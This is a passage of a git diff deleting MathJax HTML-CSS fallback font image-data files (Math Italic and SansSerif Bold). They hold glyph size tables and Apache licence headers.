1],[40,30,1]],977:[[4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[14,16,0],[16,19,0],[19,24,0],[23,28,0],[27,34,1],[32,41,1],[38,47,1]],981:[[4,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[10,14,3],[12,18,4],[14,21,5],[16,25,6],[20,31,7],[23,35,8],[27,43,10],[32,51,12],[39,59,13]],982:[[6,3,0],[7,4,0],[9,4,0],[10,5,0],[12,6,0],[14,7,0],[17,9,0],[20,10,0],[23,12,0],[28,15,0],[33,17,0],[39,22,1],[46,25,1],[55,29,1]],1009:[[4,4,1],[5,6,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[10,13,4],[12,15,5],[15,18,6],[17,22,7],[20,25,8],[24,31,10],[29,37,12],[34,42,13]],1013:[[3,3,0],[4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,15,0],[15,17,0],[18,21,1],[21,25,1],[25,30,1]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Math/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Math/Italic/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Math/Italic/unpacked/Main.js
deleted file mode 100644
index 20287094..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Math/Italic/unpacked/Main.js
+++ /dev/null
@@ -1,417 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Math/Italic/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Math-italic": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [5,6,1],[6,8,2],[7,8,2],[8,10,2],[9,12,3],[11,14,3],[13,18,4],[15,21,5],
-      [18,25,6],[21,31,7],[25,36,8],[30,45,10],[36,53,12],[42,61,14]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,16,0],
-      [21,19,0],[24,24,0],[29,28,0],[34,34,1],[41,41,1],[48,47,1]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,19,0],[25,23,0],[30,27,0],[36,33,0],[42,39,0],[50,45,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,20,1],[25,25,1],[30,29,1],[36,35,1],[42,41,1],[50,48,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,10,0],[14,11,0],[16,14,0],[19,16,0],
-      [23,19,0],[27,23,0],[32,27,0],[38,33,0],[45,39,0],[53,45,0]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [22,19,0],[26,23,0],[30,27,0],[36,33,0],[43,39,0],[51,46,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,19,0],[25,23,0],[30,27,0],[35,33,0],[42,39,0],[50,45,-1]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,20,1],[25,25,1],[30,29,1],[36,35,1],[42,41,1],[50,48,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [7,5,0],[8,7,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],[18,15,0],[21,17,0],
-      [25,20,0],[30,24,0],[35,28,0],[42,34,0],[50,40,0],[59,46,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [4,5,0],[5,6,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],[10,14,0],[12,16,0],
-      [14,19,0],[17,23,0],[20,27,0],[24,33,0],[28,39,0],[34,45,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [5,5,0],[6,7,0],[7,6,0],[8,9,0],[9,10,0],[11,12,0],[13,15,0],[15,17,0],
-      [18,21,1],[21,25,1],[25,29,1],[30,35,1],[35,41,1],[42,47,1]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [7,5,0],[8,6,0],[9,6,0],[11,8,0],[13,10,0],[15,11,0],[18,14,0],[21,16,0],
-      [25,19,0],[30,23,0],[35,27,0],[42,33,0],[50,39,0],[59,45,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,0],
-      [18,19,0],[22,23,0],[26,27,0],[30,33,0],[36,39,0],[43,45,-1]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [8,5,0],[9,6,0],[11,6,0],[13,8,0],[15,10,0],[18,11,0],[21,14,0],[25,16,0],
-      [29,19,0],[35,24,0],[42,27,0],[49,33,0],[58,39,0],[70,45,-1]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [7,5,0],[8,7,0],[9,6,0],[11,9,0],[13,10,0],[15,12,0],[18,15,0],[21,17,0],
-      [25,20,0],[30,24,0],[35,28,0],[42,34,0],[50,39,0],[59,46,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,20,1],[25,25,1],[29,29,1],[35,35,2],[41,41,1],[49,48,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,19,0],[25,23,0],[30,27,0],[35,33,0],[42,39,0],[50,45,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,8,2],[8,8,2],[9,10,2],[11,12,3],[13,14,3],[15,18,4],[18,21,5],
-      [21,25,6],[25,31,7],[29,36,8],[35,44,10],[41,51,11],[49,59,13]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,20,1],[25,24,1],[30,28,1],[35,34,1],[42,40,1],[50,46,1]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,0],
-      [18,20,1],[22,25,1],[26,29,1],[31,35,2],[36,41,1],[43,48,2]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-      [20,19,0],[24,23,0],[28,26,0],[33,32,0],[40,38,0],[47,44,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[13,12,0],[15,15,0],[18,17,0],
-      [22,21,1],[26,25,1],[31,29,1],[36,35,1],[43,41,1],[51,48,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [6,6,1],[7,7,1],[8,7,1],[10,9,1],[11,10,1],[13,12,1],[15,15,1],[18,17,1],
-      [22,20,1],[26,24,1],[31,28,1],[36,35,2],[43,41,2],[51,47,1]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [8,5,0],[9,6,0],[11,6,0],[13,8,0],[15,9,0],[18,11,0],[21,14,0],[25,16,0],
-      [29,20,1],[35,24,1],[41,28,1],[49,34,1],[58,41,2],[69,48,2]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [6,5,0],[8,7,1],[9,7,1],[10,9,1],[12,10,1],[15,12,1],[17,15,1],[20,17,1],
-      [24,20,1],[28,24,1],[34,28,1],[40,34,1],[48,40,1],[56,46,1]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [22,19,0],[26,23,0],[30,27,0],[36,33,0],[43,39,0],[51,45,-1]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [5,5,0],[6,6,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],[15,14,0],[17,16,0],
-      [20,19,0],[24,23,0],[29,27,0],[34,33,0],[40,39,0],[48,45,0]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[17,15,0],[20,17,0],[24,22,1],[28,26,1],[34,30,1]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [3,5,0],[4,6,0],[5,6,0],[5,8,0],[6,9,0],[7,11,0],[9,14,0],[10,16,0],
-      [12,19,0],[14,24,0],[17,27,0],[20,34,1],[24,40,1],[28,47,1]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-      [12,12,0],[15,15,0],[17,17,0],[21,22,1],[24,26,1],[29,30,1]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],[11,14,0],[13,16,0],
-      [15,19,0],[18,24,0],[21,27,0],[25,34,1],[30,40,1],[35,47,1]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-      [12,12,0],[15,15,0],[17,17,0],[20,22,1],[24,26,1],[29,30,1]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [4,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[10,14,3],[11,18,4],[13,21,5],
-      [16,25,6],[19,31,7],[22,36,8],[26,43,10],[31,51,12],[37,60,13]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[4,6,2],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[10,13,4],[12,15,5],
-      [14,18,6],[16,22,7],[19,25,8],[23,31,10],[27,37,12],[32,42,13]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,0],
-      [16,19,0],[19,24,0],[22,27,0],[26,34,1],[31,40,1],[37,47,1]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [3,5,0],[3,6,0],[3,6,0],[4,8,0],[5,10,0],[5,11,0],[6,14,0],[7,16,0],
-      [9,18,0],[10,23,0],[12,26,0],[14,32,1],[17,38,1],[20,44,1]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [4,6,1],[5,8,2],[5,8,2],[6,10,2],[7,13,3],[8,14,3],[9,18,4],[11,20,5],
-      [13,24,6],[15,30,7],[17,33,8],[20,41,10],[24,49,12],[28,57,13]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,5,0],[5,6,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],[10,14,0],[12,16,0],
-      [14,19,0],[17,24,0],[20,27,0],[24,34,1],[28,40,1],[33,47,1]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [2,6,0],[3,7,0],[3,7,0],[4,9,0],[4,10,0],[5,12,0],[6,15,0],[7,17,0],
-      [8,20,0],[9,24,0],[11,28,0],[13,35,1],[15,40,1],[18,47,1]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [6,3,0],[8,4,0],[9,4,0],[10,5,0],[12,6,0],[15,7,0],[17,9,0],[20,10,0],
-      [24,12,0],[28,15,0],[34,17,0],[40,22,1],[48,26,1],[56,30,1]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-      [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,26,1],[38,30,1]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[16,15,0],[19,17,0],[23,22,1],[27,26,1],[32,30,1]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [5,4,1],[6,6,2],[6,6,2],[7,7,2],[8,9,3],[10,10,3],[11,13,4],[13,15,5],
-      [16,18,6],[19,22,7],[22,25,8],[26,31,10],[31,37,12],[36,43,14]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,4,1],[4,6,2],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[9,13,4],[11,15,5],
-      [13,18,6],[16,22,7],[18,24,7],[22,31,10],[26,37,12],[31,42,13]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-      [12,12,0],[15,15,0],[17,17,0],[20,22,1],[24,26,1],[29,30,1]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [3,3,0],[4,4,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],
-      [12,12,0],[14,15,0],[17,17,0],[20,22,1],[24,26,1],[28,30,1]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,5,0],[3,6,0],[4,6,0],[4,7,0],[5,9,0],[6,10,0],[7,13,0],[8,15,0],
-      [10,18,0],[11,22,0],[13,25,0],[16,30,1],[19,36,1],[22,42,1]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[11,9,0],[13,10,0],
-      [16,12,0],[19,15,0],[22,17,0],[26,22,1],[31,26,1],[37,30,1]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [5,3,0],[6,4,0],[7,4,0],[9,5,0],[10,6,0],[12,7,0],[14,9,0],[16,10,0],
-      [20,12,0],[23,15,0],[27,17,0],[32,22,1],[39,26,1],[46,30,1]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-      [15,12,0],[18,15,0],[21,17,0],[25,22,1],[29,26,1],[35,30,1]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,15,5],
-      [14,18,6],[17,22,7],[20,25,8],[23,31,10],[28,37,12],[33,42,13]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],
-      [13,12,0],[16,15,0],[19,17,0],[22,22,1],[26,26,1],[31,30,1]
-    ],
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [5,5,0],[6,6,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-      [20,19,0],[24,23,0],[29,27,0],[34,33,0],[40,39,0],[48,45,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,0],
-      [22,19,0],[26,24,0],[31,28,0],[37,34,0],[44,41,0],[52,47,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-      [21,20,1],[25,25,1],[29,29,1],[35,35,2],[41,41,1],[49,48,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,5,0],[6,7,0],[7,7,0],[8,8,0],[10,10,0],[12,12,0],[14,15,0],[16,16,0],
-      [19,20,0],[23,24,0],[27,28,0],[32,34,1],[38,41,1],[45,47,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],[16,14,0],[19,16,0],
-      [22,19,0],[26,23,0],[31,27,0],[37,32,0],[43,38,0],[52,45,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [7,5,0],[8,6,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],[18,14,0],[21,16,0],
-      [25,19,0],[30,23,0],[35,27,0],[42,33,0],[50,39,0],[59,45,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],[16,14,0],[19,16,0],
-      [23,19,0],[27,23,0],[32,27,0],[38,33,0],[45,39,0],[54,46,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-      [20,19,0],[23,24,0],[28,28,0],[33,34,0],[39,40,0],[46,46,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,0],
-      [18,19,0],[22,23,0],[26,27,0],[30,32,-1],[36,39,0],[43,45,-1]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-      [20,19,0],[23,23,0],[28,27,0],[33,32,-1],[39,39,0],[46,45,-1]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [6,5,0],[7,6,0],[8,6,0],[10,8,0],[11,9,0],[14,11,0],[16,14,0],[19,16,0],
-      [22,19,0],[26,24,0],[31,28,0],[37,34,0],[44,40,0],[52,47,0]
-    ],
-    0x3B1: [  // GREEK SMALL LETTER ALPHA
-      [5,3,0],[5,4,0],[6,4,0],[8,5,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],
-      [17,12,0],[20,15,0],[24,17,0],[28,22,1],[34,26,1],[40,30,1]
-    ],
-    0x3B2: [  // GREEK SMALL LETTER BETA
-      [4,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[10,14,3],[12,18,4],[14,21,5],
-      [16,25,6],[19,31,7],[23,36,8],[27,43,10],[32,52,12],[38,59,13]
-    ],
-    0x3B3: [  // GREEK SMALL LETTER GAMMA
-      [4,4,1],[5,6,2],[6,6,2],[7,7,2],[8,9,3],[10,10,3],[11,13,4],[13,15,5],
-      [16,18,6],[18,22,7],[22,25,8],[26,32,11],[31,38,13],[36,44,15]
-    ],
-    0x3B4: [  // GREEK SMALL LETTER DELTA
-      [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[9,14,0],[11,16,0],
-      [13,19,0],[15,24,0],[18,28,0],[21,35,1],[25,41,1],[30,48,1]
-    ],
-    0x3B5: [  // GREEK SMALL LETTER EPSILON
-      [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-      [12,13,1],[15,16,1],[17,18,1],[20,22,1],[24,27,2],[29,31,1]
-    ],
-    0x3B6: [  // GREEK SMALL LETTER ZETA
-      [4,6,1],[4,8,2],[5,8,2],[6,10,2],[7,12,3],[8,14,3],[10,18,4],[11,21,5],
-      [13,25,6],[16,31,7],[19,36,8],[22,43,10],[26,52,12],[31,60,13]
-    ],
-    0x3B7: [  // GREEK SMALL LETTER ETA
-      [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,15,5],
-      [14,18,6],[17,22,7],[20,25,8],[24,32,11],[28,38,13],[33,44,15]
-    ],
-    0x3B8: [  // GREEK SMALL LETTER THETA
-      [4,5,0],[4,6,0],[5,6,0],[6,8,0],[7,9,0],[8,11,0],[9,14,0],[11,16,0],
-      [13,19,0],[16,24,0],[19,28,0],[22,34,1],[26,41,1],[31,47,1]
-    ],
-    0x3B9: [  // GREEK SMALL LETTER IOTA
-      [3,3,0],[3,4,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],
-      [10,12,0],[11,15,0],[13,17,0],[16,22,1],[19,26,1],[22,30,1]
-    ],
-    0x3BA: [  // GREEK SMALL LETTER KAPPA
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[11,9,0],[13,10,0],
-      [16,12,0],[19,15,0],[22,17,0],[26,22,1],[31,26,1],[37,30,1]
-    ],
-    0x3BB: [  // GREEK SMALL LETTER LAMDA
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,0],
-      [16,19,0],[19,24,0],[22,27,0],[26,34,1],[31,40,1],[37,47,1]
-    ],
-    0x3BC: [  // GREEK SMALL LETTER MU
-      [4,4,1],[5,6,2],[6,6,2],[7,7,2],[8,9,3],[10,10,3],[12,13,4],[14,15,5],
-      [16,18,6],[20,22,7],[23,25,8],[27,32,11],[33,38,13],[39,44,15]
-    ],
-    0x3BD: [  // GREEK SMALL LETTER NU
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-      [15,12,0],[18,15,0],[21,17,0],[25,22,1],[30,25,0],[35,29,0]
-    ],
-    0x3BE: [  // GREEK SMALL LETTER XI
-      [4,6,1],[4,8,2],[5,8,2],[6,10,2],[7,12,3],[8,14,3],[9,18,4],[11,21,5],
-      [13,25,6],[15,31,7],[18,36,8],[21,43,10],[25,52,12],[30,60,13]
-    ],
-    0x3BF: [  // GREEK SMALL LETTER OMICRON
-      [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],
-      [14,12,0],[16,15,0],[19,17,0],[23,22,1],[27,26,1],[32,30,1]
-    ],
-    0x3C0: [  // GREEK SMALL LETTER PI
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-      [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,25,1],[38,29,1]
-    ],
-    0x3C1: [  // GREEK SMALL LETTER RHO
-      [4,4,1],[5,6,2],[5,6,2],[6,7,2],[7,9,3],[9,10,3],[10,13,4],[12,15,5],
-      [14,18,6],[17,22,7],[20,25,8],[24,32,11],[28,38,13],[34,44,15]
-    ],
-    0x3C2: [  // GREEK SMALL LETTER FINAL SIGMA
-      [3,4,1],[4,5,1],[5,5,1],[5,7,2],[6,8,2],[7,9,2],[8,11,2],[10,13,3],
-      [12,15,3],[14,19,4],[17,22,5],[20,26,5],[23,32,7],[27,36,7]
-    ],
-    0x3C3: [  // GREEK SMALL LETTER SIGMA
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-      [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,25,1],[38,29,1]
-    ],
-    0x3C4: [  // GREEK SMALL LETTER TAU
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[10,9,0],[12,10,0],
-      [15,12,0],[17,15,0],[21,17,0],[24,21,1],[29,26,1],[34,29,1]
-    ],
-    0x3C5: [  // GREEK SMALL LETTER UPSILON
-      [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[9,7,0],[11,9,0],[13,10,0],
-      [15,12,0],[18,15,0],[21,17,0],[25,22,1],[29,26,1],[35,30,1]
-    ],
-    0x3C6: [  // GREEK SMALL LETTER PHI
-      [5,4,1],[6,6,2],[7,6,2],[8,7,2],[9,9,3],[11,10,3],[13,13,4],[15,15,5],
-      [18,18,6],[21,22,7],[25,25,8],[29,32,11],[35,38,13],[41,44,15]
-    ],
-    0x3C7: [  // GREEK SMALL LETTER CHI
-      [5,4,1],[5,6,2],[6,6,2],[8,7,2],[9,9,3],[10,10,3],[12,13,4],[14,15,5],
-      [17,18,6],[20,22,7],[24,25,8],[28,31,10],[34,37,12],[40,42,13]
-    ],
-    0x3C8: [  // GREEK SMALL LETTER PSI
-      [5,6,1],[6,8,2],[7,8,2],[8,10,2],[9,12,3],[11,14,3],[13,18,4],[15,21,5],
-      [18,25,6],[21,31,7],[25,35,8],[30,43,10],[35,51,12],[42,59,13]
-    ],
-    0x3C9: [  // GREEK SMALL LETTER OMEGA
-      [5,3,0],[6,4,0],[6,4,0],[8,5,0],[9,6,0],[11,7,0],[12,9,0],[15,10,0],
-      [17,12,0],[20,15,0],[24,17,0],[29,22,1],[34,26,1],[40,30,1]
-    ],
-    0x3D1: [  // GREEK THETA SYMBOL
-      [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[14,16,0],
-      [16,19,0],[19,24,0],[23,28,0],[27,34,1],[32,41,1],[38,47,1]
-    ],
-    0x3D5: [  // GREEK PHI SYMBOL
-      [4,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[10,14,3],[12,18,4],[14,21,5],
-      [16,25,6],[20,31,7],[23,35,8],[27,43,10],[32,51,12],[39,59,13]
-    ],
-    0x3D6: [  // GREEK PI SYMBOL
-      [6,3,0],[7,4,0],[9,4,0],[10,5,0],[12,6,0],[14,7,0],[17,9,0],[20,10,0],
-      [23,12,0],[28,15,0],[33,17,0],[39,22,1],[46,25,1],[55,29,1]
-    ],
-    0x3F1: [  // GREEK RHO SYMBOL
-      [4,4,1],[5,6,2],[5,6,2],[6,7,2],[8,9,3],[9,10,3],[10,13,4],[12,15,5],
-      [15,18,6],[17,22,7],[20,25,8],[24,31,10],[29,37,12],[34,42,13]
-    ],
-    0x3F5: [  // GREEK LUNATE EPSILON SYMBOL
-      [3,3,0],[4,4,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],
-      [11,12,0],[13,15,0],[15,17,0],[18,21,1],[21,25,1],[25,30,1]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Math/Italic"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/BasicLatin.js
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--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/CombDiacritMarks.js
deleted file mode 100644
index e26c752f..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
